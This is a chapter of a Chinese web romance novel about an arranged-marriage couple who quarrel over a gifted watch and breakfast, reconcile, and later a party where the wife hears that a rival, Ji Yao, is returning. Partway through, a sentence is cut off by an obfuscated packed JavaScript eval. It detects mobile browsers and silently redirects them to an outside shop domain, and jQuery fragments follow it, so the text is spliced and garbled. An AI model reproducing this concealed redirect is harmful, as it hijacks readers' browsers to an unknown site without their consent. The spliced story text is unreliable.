16. 第十六章
作品:《她真的好难哄》 蒋南周没骗她,隔日真的就戴上了她送的手表,他对表没什么讲究,符合商务需要就好。
靳星冉瞧见他手上的表时,还小小地吃惊了一下。
毕竟她也就是随口说说,没指望他真的戴。
“很配你。”靳星冉指了指他的手表,不吝啬夸奖。
蒋南周笑笑,没吭声,客观地说,他也认为挺适合自己的,低调不张扬。
两人心平气和地吃了一顿早餐,靳星冉难得没有叽叽喳喳,蒋南周也没有黑脸。
吃完早餐两人一块出了门,蒋南周瞧了一眼,随口问道:“一会儿自己去公司,还是要人送?”
两人自从住在一块早晨都没一起出过门,所以蒋南周不知道她是自己去上的班,以为是靳家那边的司机来送。
他问话也是这个意思。
但靳星冉不知道,以为是他要送,开心道:“好啊,那你送我,正好和启元的项目要开始了,让团队那帮人看看,谁才是甲方!”
蒋南周:“……”
大概相比甲方,可能博汇的人会觉得她更难伺候,他想。
上了车,靳星冉又恢复了话痨本性,蒋南周时不时附和两声,多数时候都是在看财经新闻。
今天他穿的是深灰色西装套装,内搭黑衬衫,整个人矜贵沉稳,宝石蓝袖口,手腕处戴的是她送的表。
怎么看怎么好看,又一次感慨,蒋南周皮相是真的好,哪怕她这种看遍无数帅哥的人,都还是会忍不住被他这副皮囊吸引。
察觉到她炙热的视线,蒋南周偏头看她,有些不自在:“怎么了?”
靳星冉眼珠一转,勾唇,玩心大起:“信不信我会魔法。”
“嗯?”蒋南周放下IPAD,好整以暇看她,看她又想干什么。
靳星冉笑,双手合在一起摊开,对着蒋南周说:“我现在手上有一个宝盒,盒子里有一条能时时刻刻监控到你做坏事的项链。”
蒋南周笑:“幼不幼稚。”
靳星冉不管他,继续说,表情极其认真,双手依旧摊开看着很吃力的样子,仿佛手中真的拿着宝盒,“你现在把手摊开,我要把盒子放在你手上。”
蒋南周:“……”
他才不要和她玩这种幼稚的游戏。
靳星冉看着他无动于衷,于是催他,声调软软的:“快帮我啊,宝盒太重了,我拿不动。”
说完胳膊还动了动,一副累极了的模样。
蒋南周没办法,只好照着她的要求乖乖摊开双手。
靳星冉做了个放东西的动作,将手中的‘东西’放到了他手上,接着问他:“拿好了吗,有些沉呢。”
蒋南周配合,笑说:“拿好了,是挺沉。”
靳星冉咯咯笑,接着又道:“我现在打开宝盒把项链取出来给你戴上。”
“嗯。”
靳星冉靠近蒋南周,双手做了个虚动作,给他戴上‘项链’。
接着嘴里胡乱地念一串咒语,然后瞪大眼睛问他:“现在相信我有魔法了吗?”
蒋南周终于忍不住,拆穿她:“在哪儿?我怎么看不见。”
靳星冉就等着他这句话,女孩眉梢轻挑,手指着他还摊开在半空中的手,笑得很得意问他:“那你说,既然我没有魔法,你为什么要帮我拿着魔法宝盒?”
蒋南周:“........”
他低头看看自己还乖乖按照她指示摊开的双手,陷入沉默。
“哈哈哈哈哈。”靳星冉终于忍不住笑出了声。
正在开车,全程忍不住偷听两人说话的司机也在偷笑,不过被蒋南周一个眼风过去,又乖乖地闭了嘴。
但还是没忍住。
原本答应会一直戴着她送的表,但还没到一天,蒋南周就后悔了。
当晚蒋南周有饭局,好巧不巧靳聿白也在,他和这位大舅哥一向不对付,一顿饭吃到一半,两人谁也没主动和对方搭话。
快结束时,靳聿白的另一发小陆禹过来,瞧见了蒋南周也在,不知是故意还是无意,对着靳聿白道:“星冉最近懂事不少,昨儿还知道买礼物孝敬我,小时候没白疼她。”
话都递过去了,靳聿白自然是要接住,瞥了自己妹夫一眼,笑道:“可不是,好歹是疼了她二十几年。”
说完抬了抬手,把靳星冉昨天送他的表露出来。
蒋南周刚进来时就注意到了对方手上的表,一看就知道是自己妹妹选的,和他的是同款,不过蒋南周的是基础款,他的是高配版。
一晚上他无心吃饭,好几次按捺不住想要炫耀的心理,这不正好陆禹来了,两人自小打配合惯了,一个动作就知道对方想要做什么。
陆禹像是才瞧见他手上的表,故作惊讶道:“哟今儿怎么换表了。”接着又看向蒋南周,下巴点了点:“和妹夫的还是同款。”
靳星冉小时候靳聿白的几个发小都带过,像当自己妹妹一样疼爱,现在和蒋南周联姻了,大家见到蒋南周也很自觉地叫妹夫。
蒋南周不喜欢京圈这边的应酬也是这个道理,饭局上时不时就有人过来叫他妹夫,他自己都不知道什么时候多了这么多亲戚。
偏偏他还是最小辈分的那个。
靳聿白看了蒋南周一眼,满脸藏都不想藏的炫耀之意:“星冉送的。”
蒋南周在靳聿白抬手的时候就注意到了他手上的表,和他的是同款,但价钱上,靳聿白手上的那只足足比他的贵了三倍。
他对表不讲究,但在应酬场合戴了只比大舅哥便宜的表且还是自己老婆送的,多少有点丢面。
饭局上的人都是人精,靳聿白又是任何场合没事就要炫妹妹和老婆的人,这下还有谁不明白。
大舅哥这是在向自己妹夫宣示自己的地位呢。
和靳聿白关系稍微近一点的合作伙伴就开始拍马屁了,“圈子里都在传靳总疼爱妹妹呢,我看啊,还是星冉更疼爱你这个哥哥。”
另一人也附和道:“可不是,星冉小时候谁不知道最黏就是聿白了,连老爷子都得往后排,小丫头还嚷嚷着以后要给你养老,圈子里谁不羡慕有个这样的妹妹啊。”
靳聿白一听这话,脸上的笑容更深了,拿起杯子轻碰了一下对方的杯子。
陆禹睨了一眼说话的人,也是他们圈子里的一发小,小时候见到靳星冉恨不得躲得远远的,就生怕给了小公主一个眼神,对方就要去他家闹腾他。
现在也是为了拍马屁什么话都能说得出来了。
蒋南周看着戏精上身的几人,唇角嘲讽,沉默不吭声。
他没有这么无聊,去争什么排第一位第二位,本来就是从小到大的关系摆在这儿,不是他一个没有感情的联姻老公可以比的。
但是……他垂眸看了眼自己手上的表,突然有些烦闷。
当晚回去,蒋南周就把表摘了放进了柜子里,一连几天没再戴过。
靳星冉是在一周后发现的,吃早餐时,她心不在焉地用叉子戳面前的太阳蛋,被蒋南周训了一句:“吃饭不好好吃?”
她不服气,想还嘴回去,但眼尖瞧见了蒋南周手腕上的表换了,她眨了眨眼,一脸疑惑问道:“我的魔法失效了吗?怎么你没有戴我送的手表。”
蒋南周不想聊手表的话题,低头喝咖啡,随口问了句:“资料都看完了?准备工作做得怎样。”
他说的是启元的项目,靳星冉也有参与。
靳星冉一听这话立马蔫了,也没空找蒋南周麻烦,脸凑近,望着蒋南周可怜兮兮道:“你……到时候会照顾我的,对吧?”
蒋南周看了她一眼,放下手里的杯子,表情略严肃:“怎么个照顾法?”
像靳聿白一样无条件地迁就她,哄着她,就为了争在她心里那无聊的第一第二排名?他办不到。
他一向工作和生活分得很开,让他区别对待,这不可能。
靳星冉努了努嘴,不太确定:“就是宁榷批评我的时候,你会帮忙的吧?”
以前的项目只要不是犯了什么大错,秦清缘都是睁一只眼闭一只眼,但现在她在宁榷手底下,很难说不会给她穿小鞋。
蒋南周面部肌肉绷着,唇线紧抿,一副公事公办的模样:“工作上的事情该怎么着怎么着,他是你的上司,对你工作的评价我没权利插手。”
靳星冉不服:“可是做的是启元的项目啊。”
做自己家的项目还要被人指手画脚,想想都觉得憋屈。
蒋南周:“工作就是工作。”见她还满脸不服气,他又说,口气比刚才更重:“如果做不好工作,那就留在家里,蒋家和靳家都养得起你,但既然自己非要做,就拿出态度来,职场上不是靳家一手遮天,你的同事也不都是靳聿白,无条件的惯着你!”
蒋南周脸色还是很难看,眸光射在她身上的时候凌冽又带着审视,不知道的还以为是在批评犯了错的下属。
“你……你这么凶做什么,我就问问。”靳星冉原本也打算只是试探一下,没真想让他帮忙,反正怎样都有她哥替她收拾烂摊子。
再说了,她也没有那么摆烂,大多数时候对待工作还是认真的。
蒋南周明显不想再多说,下巴点了点她只吃几口的早餐,催促:“晚点还有会,想我送就动作快点。”
最近她偶尔会坐他的车,没有刻意,碰巧遇上的时候就坐,遇不上她就自己去上班。
靳星冉好脾气地放下叉子,起身:“那我不吃了,正好减肥。”
蒋南周蹙眉,声音沉冷:“吃完。”
只吃这么点,到时靳聿白还不得控诉他虐待自己妹妹。
靳星冉总算是察觉到了他似乎心情不佳,但这算什么事,想把气撒在她身上?
她长着大就没有受过这样的委屈。
她眼眶都红了,气势十足地指着他控诉:“你管天管地还想管我吃不吃早餐吗?”
“我哥都不会这么管着我,你以为你是谁啊!”
“我讨厌你,我不想要嫁……”
“又不想要嫁给我了?”蒋南周出声打断,看着她的眼神比刚才更冷。
被他这么一盯着,靳星冉气势顿时减了大半,但还是硬着头皮回答:“不行吗,明天我就和我哥说取消联姻。”
蒋南周笑了,虽是笑着但冷意十足,也渗人得慌,靳星冉觉得周围的气温都降了几度。
“你以为我蒋南周是什么人,你说联姻就联姻,未免太看得起靳聿白了,没有我的同意,你看看你离不离得了。”
他鲜少朝人放狠话,大多时候都是一种淡漠的态度。
今儿是被她气到了,不止没控制住情绪,还一次性说了这么多话。
蒋南周眸色深不见底,看着她时强势又带着威胁。
靳星冉从没见过他这样,大多时候他都是好说话的,至少没对她凶过,瞬间有些怕了。
乖乖坐回去继续吃早餐。
只是眼尾红红的,垂着个脸,委屈极了。
蒋南周对她的这些小伎俩权当看不见,耐心十足地“监督”她吃完最后一口,才作罢。
上车后,蒋南周脸色总算松动了些,但也没多好,依旧一言不发,半分目光都没给她。
靳星冉坐上去后,朝他那边挪了些位置,接着偷瞄他,见他没反应,又挪了些。
就这样她一直挪动,像条毛毛虫一样,挪到了蒋南周身边,手臂挨着他的手臂,腿挨着腿。
虽是隔着布料,但还是能感觉到她身上的热源在慢慢地传到他的皮肤上,属于她的特有的馨香也是,无孔不入地钻进他的鼻息里。
他呼吸停滞一瞬。
蒋南周垂眸,睨着她,像是洞穿了她的小心思,问:“又想怎么闹?”
靳星冉嘿嘿笑了两声,语气讨好:“没想闹,我以后再也不说不嫁给你这种话了,不生我的气了好不好。”
她一向能屈能伸,现在蒋南周等于她的半个‘金主爸爸’,她怕真把蒋南周惹生气了,会把给她的卡收回。
毕竟哥哥和爷爷都没有这么放心把卡给她,某种程度而言,蒋南周还是纵容她的。
蒋南周抿唇不说话。
生气了吗?他也没有,只是不想再惯着她那一不高兴就耍赖的脾气,他又不是靳聿白。
见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987378|192665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他还不说话,靳星冉又凑近,抓住他正在滑动屏幕的手,轻轻地摇了摇,撒娇:“好不好嘛。”
女孩掌心娇嫩,轻轻划过他手腕处的皮肤,语气又特意地放软下来朝他撒娇,饶是他再怎么讲原则,现在也没法对她再放狠话。
“以后会听话?”他问。
原则的问题他绝对不会惯着她。
不管怎样,先答应了再说,靳星冉点头如捣蒜,举手保证:“以后保证会乖乖吃饭。”
蒋南周:“不止是吃饭。”
靳星冉答得很快,没有任何犹豫:“都听你的,你说什么就是什么。”
蒋南周见她完全就是为了应付,丝毫不过脑子就回答,突然很想问一句,他和靳聿白她要听谁的。
但话到嘴边,还是没说出口。
“所以……”靳星冉手指顺着他的手腕滑入了他的掌心,轻轻摩挲,手指还勾了勾他的小拇指。
撩拨意味十足。
“你不会把卡拿回去的对不对?”她眼睛亮晶晶,一脸期盼地望向他。
蒋南周瞥了眼在他掌心上作乱的莹白手指,笑了,很淡但少见柔和的笑,“你乖,我就不收回。”
靳星冉笑了,笑得眼睛都快眯成一条缝,像偷吃到糖果的小孩。
“我就知道你最好了。”
“我宣布...以后你在我心里排第....”
“打住。”蒋南周出声打断她,手指点她的鼻尖。
女孩鼻尖小巧挺翘,中心她化妆时还特意点了粉色的腮红,粉嫩粉嫩的。
靳星冉呆滞,眼睛不自觉地眨了眨,不明白他要做什么。
蒋南周唇角牵扯,淡笑:“后面那句话可以不用说。”
“知道啦。”靳星冉笑容绽开,没去细细品味他话里的意思。
蒋南周撤回了手,靳星冉很轻地呼出一口气,呼吸里还都是他指尖的气息。
就在刚才,她心跳突然漏了半拍。
靳星冉最近很开心,因为蒋南周不仅没有收回卡,还另外又给了一张,并且告诉她以后每个月都会让秘书转钱进去,当作是她的零花钱。
她躺在沙发上,扶着面膜,双手高举手机看珠宝品牌方给她发的下一季的新品,韩若安消息发过来。
若若安安:【陆岐放终于解放了,下周要办个party给他接风洗尘,要不要过来?】
星星冉冉:【来啊,最近买了不少战袍】
若若安安:【有我的吗?【期待.jpg】】
星星冉冉:【当然!】
若若安安:【抱抱,就知道宝贝最好,快点过来给我亲一个。】
星星冉冉:【一边去。】
party那天,靳星冉早早地约了化妆师化妆,又做了美甲,穿上最近买的高定,费了心思打扮一番。
最近一阵子她都乖乖在家待着,没出去,圈子里现在都在传是不是她被蒋南周管住了。
今晚她要美美地出席,亮晒那群塑料闺蜜的眼。
拎包下楼时,正好撞上刚回来的蒋南周。
男人瞥了一眼她的装扮,随口问了句:“要出去?”
靳星冉点头,鉴于最近蒋南周‘表现不错’她主动邀请:“你要不要和我一块去?”
“你都没见过我的那些朋友呢。”
蒋南周想了想,她那些朋友。
一个狗头军师,神神叨叨的,一个咋咋呼呼,成天就会嚷嚷着他抢了他的小青梅,还有一群成天正事不做,各种party聚会混迹的二代。
光是想着要面对这群人,他的脑子就开始疼了。
“不了。”他拒绝。
“哦。好吧。”靳星冉面上表示很遗憾,实则心里毫无波澜,原本就是口头礼貌一下,没指望他真的会去。
她下楼,他上楼。
在转角的时候,蒋南周突然叫住她,她回头,往上望去。
“别喝太多。”他叮嘱。
靳星冉懂他话里的意思。
喝多了到时候别麻烦他,他不喜欢麻烦!
她朝他比了个OK的手势,步伐轻快地出了门。
快一个月不见,陆岐放跟换了个人似的,没了以前混不吝的劲,甚至穿衣风格都大变样,明明是出来玩,一身的黑灰色西装,角落里坐着,不知道在想什么,装深沉。
有那么一瞬间,靳星冉还以为自己眼花了,看到了蒋南周。
她走上前,推了推他肩膀,笑骂:“在这给我装什么蒋南周呢。”
原本还在极力维持高冷人设的男人,在听到她那句话后,立马破了功,满脸期待问她:“你真觉得我像蒋南周?”
“那你别和他联姻了成不成?”
“你喜欢高冷范的话,我也可以很高冷的。”
靳星冉:“.......”
“陆岐放,咱俩。”靳星冉看了看自己,又指了指他,“你觉得咱俩配吗?”
“配啊,青梅不就配竹马吗?小时候你恶作剧做的芥末果汁都是我喝完的,那蒋南周能喝芥末果汁吗?他就配不上你。”
靳星冉:“……”
算了,她和这种脑子不灵光的人说不通。
韩若安拿着酒杯朝两人走过来,一屁股坐在两人中间,放话:“今儿是姐组的局,谁也不能给我捣乱。”
接着一个眼风扫过陆岐放,意思很明显,让他不要再咋咋呼呼,吵吵嚷嚷。
韩若安是他们三个之中最横的,馊主意又多,他俩从小都听韩若安的,这会儿女王大人都发话了。
陆岐放便乖乖地不再烦靳星冉,只是那幽怨的眼神还是时不时地向她投去。
韩若安看了眼陆岐放,凑着脑袋过去,小声对靳星冉说:“咱过去那边,有话和你说。”
“什么事儿?神神秘秘的。”靳星冉跟着韩若安走到餐区处。
韩若安做了一个深呼吸,有些小心翼翼:“那你得先做好心理准备。”
靳星冉拍了她一下,催促:“有事说事,废话什么。”
韩若安喝了口酒,又努了努嘴,才道:“纪瑶要回来了。”

